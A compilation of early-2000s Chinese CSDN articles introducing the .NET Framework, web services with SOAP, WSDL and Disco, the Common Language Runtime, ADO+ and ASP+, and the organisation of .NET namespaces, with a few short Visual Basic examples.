    在通讯层上达成协议的优势是显而易见的。例如，协议能够使接收方随时作修改而无须中断发送方，只要该协议始终明白是同一条消息。接收方不用中断任何当前应用程序，可以自由升级和改进。更进一步说，就是发送方不用要求任何特殊的软件就可以和接收方交谈，只要他发送的是符合格式的信息，接收方就可以作出应答。

    ■XML的通讯基础：SOAP
    建造跨越Web的 Web服务的工作和异步系统的关键是使用统一的数据说明格式，这就是XML。特别说明的是，Web服务器在三方面需要XML来实现：基础语言、服务说明以及服务发现。

    ● SOAP：系统在底层需要有统一语言，特别地，应用程序相互通讯需要建立一套规则来说明如何表示不同数据类型（如整数和数组），如何表示命令（如进行数据处理）。同时，应用程序在需要时还可以扩充这种语言。简单对象存取协议SOAP（Simple Object Access Protocol），这是XML的一种实现，代表了一组如何表示和扩充数据和命令的规则集。

    ● WDSL(Web Services描述语言) ：一旦应用程序有了如何表述数据和命令的基本规则，他们就需要如何描述可以接收的特定数据和命令。应用程序只是声明如何接收整数是不够的，他们必须用明确的方法声明。如给你两个整数，把它们相乘。WDSL是一种XML语法，开发人员和开发工具可以用它来表示Web服务的功能。

    ● SOAP Discovery：最后需要一组规则来定位服务的描述——对于开发者和开发工具在什么地方可以发现一个Web服务。SOAP Discovery规范提供了一组规则让开发者和开发工具可以自动发现Web服务的描述。

    一旦这些准备好了，开发者可以方便地发现Web 服务,把它作为一个对象集成进他们的应用程序，并使应用程序和Web服务相互通讯。

    ■.NET框架:Web服务引擎
    很显然，许多基本结构都需实现上述进程对开发人员和用户的透明化。.NET框架（.NET Framework)提供此基本结构。从.NET框架角度看，所有组件都可以是Web服务，而Web服务也仅是一种组件。实际上，.NET框架提取出微软组件对象模型(COM)的精华，将它们与松散联接计算的精华有机地结合在一起，生成了强大、高效的Web组件系统：简化程序员的“管道”操作，深入地集成了安全性，引进了基于互联网的操作系统，极大地改善应用程序的可靠性和可扩展性。

    .NET框架由三个主要部分组成：通用语言运行库、一套层次结构的统一类库和一个被称为ASP+的高级ASP版本。

    有关.NET的许多东西让人印象深刻，尤其是微软充分传达出的对互联网作为未来主要技术平台的首肯，和在某些方面对公开的标准的欢迎。

    .NET的确牵动着每个人的猜测……

    1.通用语言运行库

    除了通用语言运行库的字面含义外，在开发阶段和运行过程中它还扮演着另一个角色。在组件运行时，运行库负责管理内存分配、启动和中止线程和进程、强化安全系数，同时还调整任何该组件涉及到的其他组件的附件配置。在开发阶段，运行库的角色稍微有点变化：因为很多方面可以自动实现（例如内存管理等）。运行库可以使开发过程变得非常简单，特别是同今天的COM编程相比更是如此。特别典型的是，像Reflection这样的特性可以极大地缩小开发人员将商业逻辑转化成一个可重复使用的组件而不得不编写的代码数量。

    运行库对于编程语言来说并不是新鲜的东西。实际上每一种编程语言都已包含一个运行库。Visual Basic开发系统有最明显的运行库（正规名字为VBRUN），Visual C++也有一个MSVCRT，此外，像Visual FoxPro、Jscript、SmallTalk、Perl、Python和Java等等都如此。.NET框架的关键角色就是它提供了一个跨所有编程语言的统一环境。

    2.统一编程类

    .NET框架类为开发人员提供了一套可以使用的统一的面向对象、异步、层次结构的可扩展类库。现在，C++的使用者使用Microsoft Foundation Classes，Java程序员使用Windows Foundation Classes，Visual Basic的用户使用Visual Basic APIs。微软用.NET框架统一了这些不同的框架。结果是，开发人员不用非去学多个框架来完成自己的工作。而且，通过创建一套跨编程语言的通用API，.NET框架可以实现跨语言继承、纠错处理以及程序调试。实际上，从JScript 到C++的所有编程语言，对于.Net框架都是相互等同的，开发人员可以自由地选择他们想使用的任何语言。

    .NET是一种全新的平台，它将对现有的所有代码产生影响。盖茨说：“微软所有的产品都会被涉及。我们的整个战略是围绕这个平台展开的。”

    3.ASP+

    ASP+是使用 .NET框架提供的类库构建而成的，它提供了一个Web应用程序模型，该模型由一组控件和一个基本结构组成。有了它，Web应用程序的构建变得非常容易。开发人员可以直接使用ASP+控件集，该控件集封装了公共的、用于超文本标识语言(HTML)用户界面的各种小组件（诸如文本框、下拉选单等等）。实际上，这些控件运行在Web服务器上，它们将用户界面转换成HTML格式后再发送给浏览器。在服务器上，控件负责将面向对象的编程模型呈现给Web开发人员，这种编程模型能提供面向对象的编程技术拥有的丰富功能。ASP+还提供一些基本结构服务（诸如会话状态管理和进程循环），这些服务进一步减少了开发人员要编写的代码量，并使应用程序的可靠性得到了大幅度提高。ASP+还允许开发人员将软件作为一项服务进行传送。通过使用ASP+ Web服务功能，ASP+开发人员只需进行简单的业务逻辑编程，而由ASP+基本结构负责通过SOAP传送服务。

    尽管ASP+还未正式发行，但它已在改进应用程序功能方面创造出了令人难以置信的奇迹：在现有基于ASP的应用程序性能基础上，性能优化了三倍之多，更为激动人心的是生产效率再度攀升。

    ■.NET框架的核心部分
    .NET框架有几个要素值得一提。首先是它的安全系统和配置系统。这两个系统协同工作，有力地遏止了运行不安全代码的可能性，并大幅度减少了号称“DLL Hell”的对应用程序进行配置时所面临的挑战。

    安全系统是一个高度细化、基于事实的系统，它赋予开发人员和管理员多种代码处理权限（而不仅仅是“on”或“off”）。将来，还会根据代码本身的核心要素来决定如何实施上述权限。

    例如，当.NET框架应用程序被下载到某一系统中时，它会申请一组权限（诸如对临时目录的写入权限）。运行时将收集有关应用程序的事实信息（诸如：它是从何处下载的、是否用了有效签名、甚至它访问系统的准确程度），并按管理策略决定是否允许应用程序运行。运行时甚至还可告之应用程序它无法授权申请的所有权限，并允许应用程序自行决定是否继续运行。

    有这种安全系统作保障，许多应用程序配置问题便会迎刃而解。开发人员和管理员（最终是用户）所面临的最大挑战之一是版本的管理问题。如果在您新装了某个应用程序之后，一切都陷于瘫痪状态，而在这之前系统一直运行得非常良好，那么最大的可能是新安装的应用程序重写了一些共享库，并极有可能修正了现有应用程序正使用的程序错误。这种情况出现的频率很高，以致人们将它称为：“DLL Hell”。

    .NET框架拥有的几项高级功能可以彻底消除“DLL Hell”现象。首先，它有一个非常强大的内部命名系统，能够有效地防止两个库因互相重名而被错当为对方的情况发生。除此之外，它还提供一项被称作“side by side”配置的新功能。如果前例中新安装的应用程序确实重写了共享库，现有应用程序可对该库进行修复。等现有应用程序再次启动时，它会检查所有的共享文件。如果发现文件被更改，同时这些更改又是不兼容的，则它可以请求运行时提取一个它可以使用的版本。得益于强大的安全系统，运行时可以安全地执行该操作，这样应用程序就完成了本身的修复工作。

    ■编者语
    人们总是喜欢不厌其烦地发表诸如“互联网改变了一切”的陈词。同样地，在谈论互联网给人类带来的影响时，总是情不自禁地使用广告式的夸张语，以表达对互联网的推崇。不过，互联网的确彻底改变了应用程序的开发模式和配置方式。将分发软件演变成一种服务还有待人们的共同努力，XML是实现这个梦想的重要手段。.NET框架是微软开发人员战略的核心内容，它旨在帮助开发人员轻松地构建、配置和运行Web服务。

    总之，.NET的最先受益者，将是我们的开发人员。.NET的路还很长，今后的发展无论是崎岖坎坷还是一片光明，在对新技术和IT产业的推动上，微软都是功不可没的。


csdn_.NET框架与网络服务（上）

  NET框架与网络服务（上）
作者： MSDN

    网络服务（Web Service）是基于网络的分布式应用程序的基本构造模块，而这些程序是以平台、对象模板和多语言方式构建的。

    网络服务是建立在象HTTP和XML之类的开放的Internet 标准之上的，并且由此形成了可编程网络理念的基础。

    图1 网络服务应用模型

    这篇文章详细讲述网络服务以及为其提供支持的技术，这些技术能确保服务被集成到应用程序里去。同时本文将讲述新的Microsoft.NET框架及其对生成和使用网络服务的支持。

    现在开发中最紧迫的问题是应用程序的集成化：运行在不同操作系统上的不同的应用程序，通常是由不同编程语言对象模板建立的，获取这些程序然后把它们转化为易于使用的网络应用程序。建立在象HTTP和XML之类开放的网络标准之上的网络服务接受了这项挑战。

    但是只支持标准协议是不够的，我们必须有途径来生成、部署、扩展和维护这些网络服务，这正是Microsoft.NET框架要解决的问题。

    图2 Microsoft.NET Framework体系结构

    下面笔者将介绍网络服务及Microsft.NET框架的组件，包括通用运行语言（Common Language Runtime）、服务框架和用于建立、集成网络服务的程序模板。

    ■网络服务一览
    通常说来，网络服务只是一个作为服务发行的简单应用程序。换句话说，它是可通过URL定位的自动将信息返回到需要它的客户端那里的一种资源。网络服务一个重要的特点是客户不需要知道一种服务是怎样实现的。在本文中，笔者将向你解释网络及网络服务如何把基于组件技术的最好的方面结合在一起，并且介绍与网络服务通信所需的基本框架。

    同组件一样，网络服务提供“黑匣子”函数，它可以被多次用而不用关心此服务是怎样实现的。网络服务还提供被称为契约的精确定义的接口，此接口描绘了所提供的服务。开发人员可以将远程服务、本地服务和定制代码组合在一起集成到应用程序中。例如，某公司可以使用如下服务组建一个在线商店：微软护照（Passport）服务用来验证用户身份、第三方个人化服务用来使网页匹配每一个用户的参数、信用卡处理服务、销售税服务、对每个运输公司的包裹跟踪服务，链接公司内部库存管理程序的内部目录服务以及少量定制代码，以使他们的商店能脱颖而出。图1显示的模型说明了为生成分布式网络应用程序应怎样链接网络服务。

    然而，网络服务与现在的组件技术并不相同，它不使用需要在服务器和客户机有明确的、同类型基本构架的具体对象模型协议，例如DCOM、RMI或IIOP。尽管与具体组件技术紧密结合的实现在一个受控的环境中能很好地被接受，但它们在网络环境中变得不切实际。因为一个集成商业程序的参与者会发生变化，随着时间的推移，技术也在变化，所以在所有参与者间确保一个单一的、统一的体系架构就变得十分困难。网络服务采取了另外一种途径，它使用普便存在的网络协议和数据格式进行通信，如HTTP和XML。支持这些网络标准的任何系统都支持网络服务。

    而且，网络服务契约描述的是以术语报文形式提供的服务，这些服务是由网络服务生成和接受的，而并不描述服务是如何实现的。通过把重点放在报文上，网络服务模板对语言、平台和对象模板变得完全透明。这样，用任何一套编程语言、对象模型和平台的完全特性集，都可实现网络服务。网络服务可以在任何平台上，被任何应用程序所使用。只要用于解释服务容量、报文序列和所期望协议的契约得到认同，那么所实现的网络服务及网络服务用户就可相互不同，而不会影响会话另一端的应用程序。

    网络服务模板对最小体系架构的要求很低，目的是确保网络服务在使用任何技术和编程语言的平台上实现和访问。对网络服务互用性的解决可以只依靠网络标准。然而，为了使应用程序更容易使用网络服务，简单地通过标准网络协议访问网络服务是不够的。当网络服务和网络服务使用者依靠标准的方式（如XML）表示数据和命令、表示网络服务契约、算出网络服务所提供的容量时，网络服务才会更加容易使用。

    XML是定义一个标准的、可扩展的用于提供命令和典型数据的语言的明智选择。虽然为表示命令和典型数据可以定义使用其它技巧（比如编码为一种查询字符串）的规则，但XML被专门设计为描述数据的标准元语言。简单对象存取协议（SOAP）是以一种可扩展的方式使用XML表示数据和命令的工业标准。网络服务可选择用SOAP决定报文的格式。

    XML是网络服务契约的一种常用技术。服务契约语言(SCL)是记录网络服务契约的XML语法。由于SCL是基于XML的，所以对开发者和开发工具来说，它更容易生成并解释契约。

    图3 Services Framework类库

    Disco规范为服务提供者发布网络服务契约和相应的机制描述了一个标准方式，这将使开发者或开发工具可找到契约文献。

    象SOAP、SCL和Disco这样的标准有助于开发者，因为它们不需要明白和实现所使用的每一个网络服务的访问方式。支持这些标准的更好的、已充分测试的、高性能的体系架构将由开发平台提供，这会大大简化整个开发过程。

    ■Microsoft.NET Framework
    Microsoft.NET框架的目的是使你更容易建立网络应用程序和网络服务。图2显示了Microsoft.NET框架的体系结构。建立在操作系统最上层的服务，是管理运行代码需求的Common Language Runtime，这些代码可以用任何现代编程语言所编写。Runtime提供了许多服务，这些服务有助于简化代码开发和应用程序的开发，同时也将提高应用程序的可靠性。.NET Framework包括一套可被开发者用于任何编程语言的类库。在此之上是许多应用程序模板，这些模板为开发网络站点和网络服务提供了高级组件和服务，下面笔者将逐层描述。

    ■Common Language Runtime
    运行语言(Runtime)可以调用并运行任何编程语言所写的代码。以运行为目标的代码被称为受控（Managed）代码，受控代码只是意味着在内部可执行代码与自身代码存在已经定义好的合作契约。对于生成对象、调用方法等这样的任务，被委托给了运行语言，这使得运行语言能为可执行代码增加额外的服务。

    运行语言具有交叉语言集成、自描述组件、简单配制、版本化以及集成安全服务等特点。

    运行语言使用一种能表达大部分现代编程语言语义的通用类型系统，该通用类型系统定义了一套标准类型及生成新标准的规则。运行语言知道怎样生成、执行这些类型。编译器和解释器使用运行语言服务来定义类型、管理对象、进行方法调用。

    类型系统的主要设计目的是使多种语言能深度集成。用一种语言所写的代码能继承用另一种语言所写的类，用一种语言所写的代码抛出的异常能被用另一种语言写的代码所捕获，象调试之类的操作会在完全封闭下进行，而不用考虑代码编写所用的语言。这就意味着编写可重用类库的开发者，不再需要为每一种编程语言或编译器生成一个版本，并且使用类库的开发者也将不再受到他们所使用的编程语言开发库的限制。

    自描述组件简化了开发和配制，并提高了系统的可靠性。许多由运行语言提供的服务是由元数据及用于补充可执行代码的信息所驱动。因为所有的信息都储存在一起，只有可执行的代码才被称为自描述组件。

    自描述组件的一个主要优点是，使用它们并不需要其它文件。类的定义不需要单独的头文件；通过检查元数据对类的定义可以从组件自身获得。跨语言或过程边界访问组件并不需要各自的IDL文件、类型文件或proxy/stubs；所必需的信息已存在于元数据之中。最主要的是，由于元数据是在编译过程中由源代码生成，并与可执行代码储存在一起，因此，它将永远和可执行部分同步。

    除了改善对单个组件的配置，Microsft .NET框架定义了一个应用程序配置模板，以解决定制应用程序安装和DLL版本化（通常被称为“DLL Hell”）这一复杂过程的问题，运行语言提供了支持这个模板的服务。

    Microsft.NET框架引入了组合体的概念。一个组合体是一组资源和类型，并包括有关这些资源和类型的元数据，也就是被作为一个单元配置的。元数据被称为组合体的名单，它包含象类型和资源表之类能被组合体外看得见的信息，这个名单也包括有关从属关系之类的信息，例如组合体建立时的版本号。开发人员可以指定版本策略，以指示运行语言是否装入系统上已安装的依赖于组合体的最新版本，装入一指定版本，或在编译时使用的版本。

    某软件组件的多个拷贝可以存在于同样的操作系统上，然而，通常只有其中的一个拷贝能被操作系统注册、调入内存并执行。对系统来说，定位和调入内存的策略是全局性的。.NET Framework Common Language Runtime增加了所必须的体系架构以支持管理组件定位和调入的每个应用程序策略，这通常被称为并行配置。

    组合体可以被一个应用程序私有，或被多个应用程序共享。一个组合体的多个版本可以同时配置在同一台机器上。应用程序的配置信息定义了应到何处去查找组合体，这样，Runtime就能为同时运行的两个不同的应用程序装入到同一组合体的不同版本中，消除了由组件版本的不兼容性引起的问题，提高了系统整体的稳定性。如果必要，管理员可以为配置时的组合体增加配置信息。

    因为组合体是自描述的，所以并不需要在系统上进行注册。应用程序的配置简单到了只需将文件拷贝到目录中即可（如果为了使应用程序能够运行，必须安装未经组织过的组件的话，情况会稍微复杂一点）。配置信息保存在可被任何文本编辑器编辑的XML文件中。

    最后，运行语言也提供完整的、普遍深入的安全服务，以确保未经授权的用户不能访问机器上的资源，并且代码不会执行未经允许的动作。这就提高了系统整体的安全性和可靠性。由于运行语言用于装入代码、生成对象、执行方法调用，所以当受控代码装入内存并执行时，运行语言能进行安全检查，从而强化安全策略。

    Microsft.NET框架不仅规定代码访问安全机制，还规定基于角色的安全机制。通过代码访问安全机制，开发人员能为应用程序指定完成工作所必需的权限。例如，程序或许需要写文件或访问环境变量的权力。这类信息和有关代码标志的信息一起存储在配置级上。当代码装入内存并执行方法调用时，运行语言将验证是否能给予代码所要求的权限。如果不能，将记录一条安全冲突信息。给予权限的策略，被称之为信任策略，是由系统管理员建立的，并且是建立在关于代码的证据基础之上。比如：代码是谁发布的，是从什么地方获得的，以及在组合体中找到的代码标志和它要求的权限。开发人员可以指定他们具体的权限，以防止其它人恶意使用他们的代码。如果所需要的权限依赖直到运行时刻才会知道的信息，那么就可写入纲领性的安全检查。

    除了代码访问安全机制，运行语言还支持基于角色的安全机制。基于角色的安全机制建立同代码访问安全机制一样的权限模板，只是这些权限是建立在用户的身份之上，而不是建立在代码的标志之上。角色表明了用户所属的类，并且可以在开发和配置阶段定义。给予权限的策略被分配到每个预定义的角色。在运行时刻，用户的身份被确定，代码将代表这个身份运行。运行语言决定用户是哪个角色的成员，然后给予基于这个角色的权限。

    在查看Microsft.NET框架的可编程模板前，先看一下它所提供的服务。

    ■服务框架
    正如我们从图2所看到的那样，在Common Language Runtime之上是服务框架（Services Framework），此框架提供能被任何现代编程语言所调用的类。所有的类都遵循一套命名和设计方针，从而大大减小了开发人员学习过程中的难度。

    图3显示了服务框架中的一些主要类库。框架包括一套开发人员希望在标准语言库中存在的基类库，例如：集合、输入/输出、字符串及数据类。另外，基类库提供访问操作系统服务如图画、网络、线程、全球化和加密的类。服务框架也包括数据访问类库及开发工具，如调试和剖析服务等。(译： 金志立)


csdn_.NET框架与网络服务（下）

  .NET框架与网络服务（下）
作者： MSDN
    ■数据访问服务
    几乎所有的网络服务都需要查询和更新永久性数据，不论是以简单文件，还是以相关数据库，或是以其它的存储类型存在。为了提供对数据的访问，服务框架包括ActiveX Data Objects+ (ADO+)类库。如同名字所暗示的那样，ADO+由ADO发展而来。ADO+为基于网络的应用程序和服务提供数据访问服务。图1阐明了ADO+的体系结构，表明任何数据，不论这些数据实际上如何存储的，都以XML或相关数据的格式被操作。

    ADO+定义了那些链接数据仓库、对数据仓库发送命令及从中获取结果的类。这些类由受控数据提供者（managed data provider）实现。ADO+中链接和命令对象看上去和ADO中的是一样的，并且一个名为DataReader的新类提供了通过高性能API流获取结果的能力。DataReader在功能上与ADO的记录集（Recordset）是相似的，但是DataReader被设计用来最小化内存中生成的对象的数量，用以提高性能、避免垃圾积累。在.NET Framework中包含了针对Microsoft SQL Server的受控数据提供者以及可通过OLE DB访问的任何数据仓库。

    ADO+的一个主要创新是引入了数据集（Dataset）。一个数据集是内存中提供数据关系图的高速缓冲区。数据集对数据源一无所知，它们可以由程序或通过从数据仓库中调入数据而被生成、填充。不论数据从何处获取，数据集都是通过使用同样的程序模板而被操作的，并且它使用相同的数据缓冲区。使用.NET平台的开发人员能够用数据集代替传统ADO中无连接的记录集。

    受控数据提供者为数据仓库和数据集公开的、名为DataSetCommand的接口对象。DataSetCommand使用ADO+链接和命令从数据仓库中提取数据集，并把在数据集中发生的变化解析到数据仓库中。

    就像DataReaders显示了对于相关数据的有效的流访问一样，XmlReaders显示了对XML数据的流访问。开发人员使用DataNavigator可以滚动和编辑内存中的XML文档。DataNavigator在功能上和Document Object Model (DOM)是一样的，但它更有效，并提供了能很好映射关系数据表的对象模板。ADO+为那些希望继续使用DOM作为XML对象模板而不是使用更有效的DataNavigator模板的开发人员提供了一个XMLDocument类。

    图1 ADO+体系结构

    ■表单应用模板
    从概念上讲，在服务框架的最上面是两个应用程序模板：Windows表单应用模板和网络应用程序模板。尽管本文把重点放在把Microsft.NET框架用作开发网络服务和网络应用程序的一种途径上，但框架也可用于开发较传统的基于Windows的应用程序（当然，这些应用程序也能使用网络服务）。

    编写Windows客户应用程序的开发人员可使用Win表单应用程序模板以利用Windows丰富的用户接口特点，包括现在的ActiveX控件和Windows 2000的新特点，如透明的、分层的浮动窗口。开发人员会发现Win表单可编程模板和对设计阶段的支持非常直观。

    Win表单利用了Microsft.NET框架 runtime以减少基于Windows的客户应用程序的开销。只要应用程序和组件是用于Win表单应用程序的，那么它们就能被框架安全模板在客户机上安全地执行。

    Microsft.NET框架装配模板简化了应用程序的配制和版本化。应用程序可被配制为使用它们在编译和测试中所用的共享组件，而不是使用恰好在客户机器上安装的随便什么版本的组件，这就提高了应用程序的可靠性，减少了应用程序所支持调用的主要因素：用户接口控件和其它共享组件版本的不兼容性。

    ■网络应用程序模板
    建立在Microsft.NET框架上网络应用程序共享一个通用应用程序模板。包含用于生成在浏览器中观看的网页的网络应用程序和网络服务。下面，笔者将详细介绍Active Server Pages+ (ASP+)的网络应用程序可编程模板，如图2所示。

    ASP+是由活动服务器页面（ASP）发展而来。ASP+利用common language runtime和服务框架网络应用程序提供了一个可靠的、自动化的、可扩展的主机环境。ASP+也受益于common language runtime集成模板，简化了应用程序的配制。另外，它提供简化应用程序开发的服务（如状态管理服务）以及高水平的编程模板（如ASP+网络表单和ASP+网络服务）。

    ASP+的核心是HTTP运行语言，一个高性能的用于处理基于低级结构的HTTP请求的运行语言,而基于的结构与Microsoft Internet Information Services (IIS)所提供的ISAPI结构相似。由图2可知，HTTP运行语言（HTTP runtime）负责处理引入的所有HTTP请求，并对每个请求应用程序的URL进行解析，然后把请求分配到应用程序以进行进一步的处理。HTTP 运行语言是多线程的，并异步处理请求，因此劣质的应用程序代码阻碍不了它对新请求的处理。而且HTTP运行语言假定失败必会发生，因此它通常可以自动地从访问冲突、内存泄漏、死锁等事故中恢复过来。

    ASP+使用基于构件的Microsft .NET框架配制模板，因此它获得了如XCOPY配制、构件并行配制、基于XML配制等优点。ASP+另一个主要优点是，它支持应用程序的实时更新。管理员不必关掉网络服务器，甚至不用停止应用程序的运行就可以更新应用文件。应用程序文件永远不会被加锁，甚至在程序运行时文件就可以被覆盖。当文件更新后，系统会检测到文件变化，并用新的应用程序代码建立一个新的应用程序实例，然后将引入的请求传递到应用程序。当所有被现存的应用程序实例处理的未完成的请求处理完后，该实例就被销毁。

    在应用程序中，HTTP请求（HTTP Request)通过HTTP模块的管道路由，最终到达请求处理程序。HTTP模块和请求处理程序是一些实现特殊接口的受控类，而这些接口是由ASP+定义的。这种管道结构使得为应用程序增加服务非常方便：只需补充一个HTTP模块。例如安全、状态管理及跟踪都被实现为HTTP模块。高级可编程模块，如网络服务和网络表单，通常被用于请求处理程序。一个应用程序能链接多个请求处理程序，每个处理程序对应一个URL，但是所有的HTTP请求都要通过同样的管道路由。

    网络基本上是一个无状态模型，并且在HTTP请求间没有联系，这使得编写网络应用程序很困难，因为应用程序通常需要维护跨多个请求的状态。ASP+增强了由ASP引入的状态管理服务，以便为网络应用程序提供三种类型的状态：应用程序、会话和用户。就像在ASP中一样，应用程序状态特定于一个应用程序实例，并且不会持久。会话状态是特定于一个用户与应用程序间的会话的。与ASP会话状态不同，ASP+会话状态储存在一个独立的过程中，并且可把它配制成可以储存到一个独立的机器上。这使得会话状态当应用程序在网络群（Web farm）扩展时非常有用。用户状态类似于会话状态，但通常它不会超时，并且是永久性的。因此，用户状态对储存用户参数和其它个性化的信息是有用的。所有状态管理服务都被实现为HTTP模块，因此它们容易增加到应用程序管道中，或从中删除。

    图2 ASP+网络应用模型

    如果除了由ASP+提供的服务外，还需要额外的状态管理服务，那么可由第三方的模块提供。

    ASP+同样提供高速缓冲服务，以改善性能。输出缓冲可完全节省网页翻译，段缓冲储存部分的网页。由于提供了相应的类，所以只要需要，应用程序、HTTP模块以及请求处理程序就可以在高速缓存中储存任意数量的对象。

    下面让我们认识一下建立在ASP+可编程模块之上的两个高级可编程模块：ASP+网络表单和ASP+网络服务。

    ■ASP+网络表单
    网络表单把基于Visual Basic表单的高生产性优点带到了网络应用程序的开发中来。网络表单支持传统的将HTML内容与脚本代码混合的ASP语法，但是它提出了一种将应用程序代码和用户接口内容分离的更加结构化的方法。引入的网络表单控件用于为封装通用用户接口元素提供了一种机制。这些新的特点使得开发工具在支持VB小应用程序的同时，也支持设计模块。

    图3 ASP+网络服务

    网络表单控件负责生成用户接口，典型情况是在HTML表单中。ASP+提供了一套映射传统的HTML用户接口小部件（包括列表框，文本框和按钮）的网络表单控件和一套附加的网络控件（如日历和广告转板）。这些控件的一个重要特点是，它们可以被编写以适应客户端的能力；同一网页把大范围的客户端平台和表单因素作为目标。换句话说，网络表单控件能“嗅”到正在查找表单的客户，然后返回合适的用户经验——可能是适合低级浏览器的HTML3.2或是适于IE5.0的动态HTML。

    考虑到网络是一种无状态的联接模型，网络应用程序开发人员所面临的一个很复杂的问题是，他们要对用户与基于网络的接口的交互作用作出反应。网络利用ASP+的体系架构提供了一套丰富的服务，以帮助开发人员建立交互式网页。用户与网页交互作用的状态管理的复杂性被ASP+网络表单和网络表单控件隐藏起来了。对开发人员来说，提供的丰富数据绑定服务使得显示通过数据访问服务得到的数据变得非常容易。

    代码与内容的分离使ASP+网页能动态地编译到受控类中，用以提高性能。每个引入的HTTP请求都被传递到一个新的网页实例中，因此开发人员不需要关心代码中的线程安全性问题。

    ■ASP+网络服务
    ASP+网络服务体系架构为用ASP+建立网络服务提供了一个高级可编程模板。虽然建立网络服务并不需要使用网络服务平台，但是它提供许多的优点将简化应用程序的开发过程，并且它使用的编程模型对用ASP或VB工作的开发人员来说是很熟悉的。使用这个可编程模型，开发人员可以不需要理解HTTP、SOAP或其它任何网络服务规范。ASP+网络服务可编程模型如图3所示。

    开发人员用ASP+生成一个扩展名为 .ASMX的文件，并把此文件配制为网络应用程序的一部分，就建立起了一个网络服务。ASMX文件包含受控类的引用，或这个类的定义。这个类是由ASP+提供的WebService类所派生的。公有的类方法在标记上WebMethod属性后，就会成为网络服务方法，把HTTP请求发送到ASMX文件中的URL后，这些方法就会被调用。你不必手工为你的网络服务建立一个契约。当被调用者发出请求时，ASP+会检查类的元数据，从而自动生成SCL文件。

    客户可通过SOAP、HTTP GET和HTTP POST提交请求。对方法和参数进行编码的约定是：HTTP GET，将被编译为查询字符串；HTTP POST，将被编译为表单数据。HTTP GET和HTTP POST 的机制不如SOAP有力，但是它们使得客户在访问网络服务时不必支持SOAP。

    ASP+网络服务模型假定了一个无状态服务结构。无状态结构通常比有状态结构更具可扩展性。每次收到一个服务请求后，就生成一个新对象，请求被转化为一个方法调用，当方法调用返回时对象被销毁。如果这些服务需要跨请求维护状态，那么它们将使用ASP+状态管理服务。基于ASP+的网络服务在网络应用程序模型中运行，因此它们得到了该模型的所有安全、配制和其它优点。

    ASP+网络服务还提供了一个为在SCL文件中描述的网络服务生成分类的受控代理工具。代理生成器把SCL文件中描述的消息映射成受控类中的方法。代理对应用程序代码隐藏了所有的网络和引导设备，因此使用网络服务看起来就象使用其它受控代码一样。代理将优先使用SOAP链接网络服务，但是它同样支持HTTP GET和HTTP POST机制。

    ■结论
    网络服务为在Internet上绑定应用程序提供了简单的、灵活的、基于多标准的模型，同时，最大可能地重用现存体系架构和应用程序。网络应用程序可以很容易地与本地开发的服务或已存在的服务集成在一起，而不用考虑开发平台、开发语言或使用的对象模型，以用于实现任何组成的服务或应用程序。

    Microsft.NET框架为开发人员提供了一个极为方便的开发环境，从而简化了安全、可靠、可扩展、高可用性的网络服务的建立、部署和不断的发展。

    <全文完>


csdn_.NET框架类览胜（上篇）

  .NET框架类览胜（上篇）
作者： 松下客
一、基本概念
.NET框架（Framework）是一个开发、部署和运行.NET应用的环境，包括了ASP.NET、公共语言运行时环境（CLR）以及.NET 框架类。关于ASP.NET和CLR的介绍已经有很多，相对而言，关于.NET框架类的介绍却比较少见。

.NET框架类也即System类，它提供了大量我们在构造ASP.NET应用（以及非ASP.NET应用时）可以利用的核心功能。System类可在所有.NET语言中使用，所以我们可以把System类看成是一种.NET的Windows API。与Windows API不同的是，System类提供了类似于COM的高级接口，相当容易使用。

正如所有其他.NET类，System类也以程序集（Assembly）的形式存在。.NET中的程序集类似于COM DLL或者EXE文件——它是保存类代码的执行文件。例如，Math类（包括其属性和方法定义）位于mscorlib.dll程序集。.NET有两种类型的程序集——私有程序集，共享程序集。私有程序集是属于单个应用的程序集，通常位于应用的bin目录；与此相反，共享程序集可以用于多个应用，而且它应该由程序集的创建者装入到全局程序集缓冲区（相当于.NET中的系统注册表）。.NET System类都属于共享程序集。

如果你曾经用Windows API编程，你肯定知道使用Windows API的困难在于：我们很难识别和找出要调用的是哪一个函数。在Windows API DLL之内不存在对函数进行组织的方法，看起来就像所有的API调用都被随意堆砌到了一个庞大的DLL之中。幸运的是，.NET类按照逻辑关系组织成了称为名称空间（Namespace）的层次结构。例如，Math类是System名称空间的一个成员。名称空间在层次结构中可以嵌套多层。例如，ADOConnection类是System.Data.ADO类的一个成员。

1.1 引用名称空间中的成员
要使用名称空间中的类，我们必须顺着名称空间的层次结构找到具体要使用的类，即通过“.”分隔的名字显式地引用类。例如，要创建一个ADOConnection对象，我们必须使用类似下面的代码（本文的所有例子都用Visual Basic编写，但不管是哪一种.NET语言，基本概念仍旧是一样的）：

Dim cnx As System.Data.SQL.SQLConnection
cnx = New System.Data.SQL.SQLConnection( _
"server=(local);uid=sa;pwd=;database=pubs")

除了上面的方法，我们还可以用Import指令简化对类的引用。例如，下面的代码告诉ASP.NET把System.Data.SQL名称空间导入到当前页面：

<%@ Import Namespace="System.Data.SQL" %>

导入名称空间之后，我们就可以直接引用类的名字，省略所有类名字前面的名称空间说明。现在创建ADOConnection对象的代码为：

Dim cnx As SQLConnection
cnx = New SQLConnection("server=(local);uid=sa;pwd=;database=pubs")

可见，使用Import指令可以减少大量的输入。

许多名称空间已经由ASP.NET自动导入，我们不必再为了简化名称引用而去导入这些名称空间。这些名称空间如下：

System
System.Collections
System.Text
System.Text.RegularExpressions
System.Web
System.Web.Caching
System.Web.SessionState
System.Web.Security
System.Web.UI
System.Web.UI.WebControls
System.Web.UI.HtmlControls
应该注意的是，导入一个层次较高的名称空间并不意味着同时导入了层次结构中位于它下面的名称空间。也就是说，下面的Import指令只导入System.Data名称空间中的类，但没有从System.Data.ADO、System.Data.SQL以及其他System.Data下面的名称空间导入类：

<%@ Import Namespace="System.Data" %>

1.2 类的成员
类包含各种成员——属性（Property），方法（Method），域（Field），事件（Event），以及构造类的构造器（Constructor）。属性描述了类的特征，比如System.Array类有一个Length属性。方法是类能够执行的动作，例如我们可以调用Array类的Sort方法排序数组。域类似于属性，对于任何具体的应用，我们可以象对待属性一样对待域，例如Math类的PI属性返回π的值。事件代表着我们可以对它作出反应的动作，例如ADOConnection类有一个名为InfoMessage的事件，这个事件在数据库提供者发送警告或者提示性信息的时候触发。最后，构造器是一种特殊的方法，它在创建新对象的时候被调用。例如，当我们创建新的SQLConnection对象时，我们就调用该类的构造函数并把一个数据库连接串传递给它。

